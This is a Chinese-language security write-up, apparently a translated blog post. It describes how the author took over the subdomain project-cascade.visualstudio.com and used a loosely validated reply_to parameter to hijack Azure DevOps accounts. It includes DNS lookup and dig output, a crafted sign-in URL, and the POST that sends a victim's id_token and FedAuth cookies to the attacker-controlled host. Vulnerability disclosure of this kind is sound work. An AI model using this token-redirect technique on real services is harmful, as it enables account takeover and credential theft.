主页 > 网络知识 > 通过域名劫持实现Azure DevOps账户劫持

通过域名劫持实现Azure DevOps账户劫持

 

通过域名劫持实现Azure DevOps账户劫持

当测试子域名劫持漏洞(subdomain takeover)时,通常需要明白利用劫持域名能做什么,其产生的实际危害和影响有多大。最近,作者就劫持了微软开发者网站子域名project-cascade.visualstudio.com,并利用它实现了针对集成开发环境Azure DevOps账户的一键劫持。一起来看看。

 

域名劫持

通过自动化测试,我们发现了*.visualstudio.com的一个子域名-project-cascade.visualstudio.com,它的NS记录指向了Azure DNS,但从lookup的解析结果来看,却是被拒绝掉的(Refused):

dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns3-05.azure-dns.org status: [Refused]           
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns2-05.azure-dns.net status: [Refused]
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns1-05.azure-dns.com status: [Refused]          
dns-takeover lookup project-cascade.visualstudio.com. on nameserver ns4-05.azure-dns.info status: [Refused]

从上述Refused状态的lookup解析中可以看出,project-cascade.visualstudio.com本来是注册指向Azure DNS的,但是,现在它在Azure DNS的注册指向是空的了,也就是说,我们可以用手头现有的Azure账户来注册获得(takeover)这个子域名,然后往其中创建任意的DNS记录。注册后的project-cascade.visualstudio.com状态如下:

 

通过域名劫持实现Azure DevOps账户劫持

 

然后,往其中添加两条解析记录:

TXT Record - txt.project-cascade.visualstudio.com (附带Azure DNS Zone Takeover POC的域名设置说明信息)
A Record - arec.project-cascade.visualstudio.com (添加到 由我们控制IP地址3.88.203.203的记录)

用dig命令来查询验证一下:

$ dig txt txt.project-cascade.visualstudio.com @1.1.1.1 ...omitted for brevity... ;; ANSWER SECTION: txt.project-cascade.visualstudio.com. 10 IN TXT "Azure DNS Zone Takeover POC" $ dig a arec.project-cascade.visualstudio.com @1.1.1.1 ...omitted for brevity... ;; ANSWER SECTION: arec.project-cascade.visualstudio.com. 2475 IN A 3.88.203.203 深入测试

这样看来,我们已经接管了project-cascade.visualstudio.com子域名了,那就来看看它可以产生的具体危害吧。
我们注意到,某些visualstudio.com下的子域会通过login.microsoftonline.com来进行一些身份校验,就比如访问域名app.vssps.visualstudio.com后,会产生以下跳转到login.microsoftonline.com的一个动作:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90#ctx=eyJTaWduSW5Db29raWVEb21haW5zIjpbImh0dHBzOi8vbG9naW4ubWljcm8zb2Z0b25saW5lLmNvbSJdfQ2

之后就会跳转到https://login.microsoftonline.com/...omitted...进行身份校验。

上述跳转校验机制中最重要的两个部份是:

https://app.vssps.visualstudio.com/_signin:

reply_to=https%3A%2F%2Fapp.vsaex.visualstudio.com%2F

经过测试我们发现,该跳转校验机制中对域名的限制比较宽松,允许任意*.visualstudio.com子域来接收身份校验token。为了验证,我们构造了以下URL测试链接:

https://app.vssps.visualstudio.com/_signin?realm=app.vsaex.visualstudio.com&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F&redirect=1&context=eyJodCI6MywiaGlkIjoiNDA0ODFkZDAtZDUzMS1hMWE2LWQ0MzYtMDQxNTk3MWI0MmQ2IiwicXMiOnt9LCJyciI6IiIsInZoIjoiIiwiY3YiOiIiLCJjcyI6IiJ90

在该构造链接中,我们把原先的reply_to参数值更改为了我们控制的子域https%3A%2F%2Farec.project-cascade.visualstudio.com%2。访问该链接后,一样会跳转到正常的microsoft live.com登录界面,当然如果当前用户是登录后状态,也一样会在其中执行跳转请求:

 

通过域名劫持实现Azure DevOps账户劫持

 

假设受害者访问登录了该链接,则在跳转过程中会执行一个对我们控制域名arec.project-cascade.visualstudio.com的POST请求,如下:

POST /_signedin?realm=arec.project-cascade.visualstudio.com&protocol=&reply_to=https%3A%2F%2Farec.project-cascade.visualstudio.com%2F HTTP/1.1 Host: arec.vssps.visualstudio.com Cookie: ...omitted for brevity... id_token=<snip>&FedAuth=<snip>&FedAuth1=<snip>%2B
说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!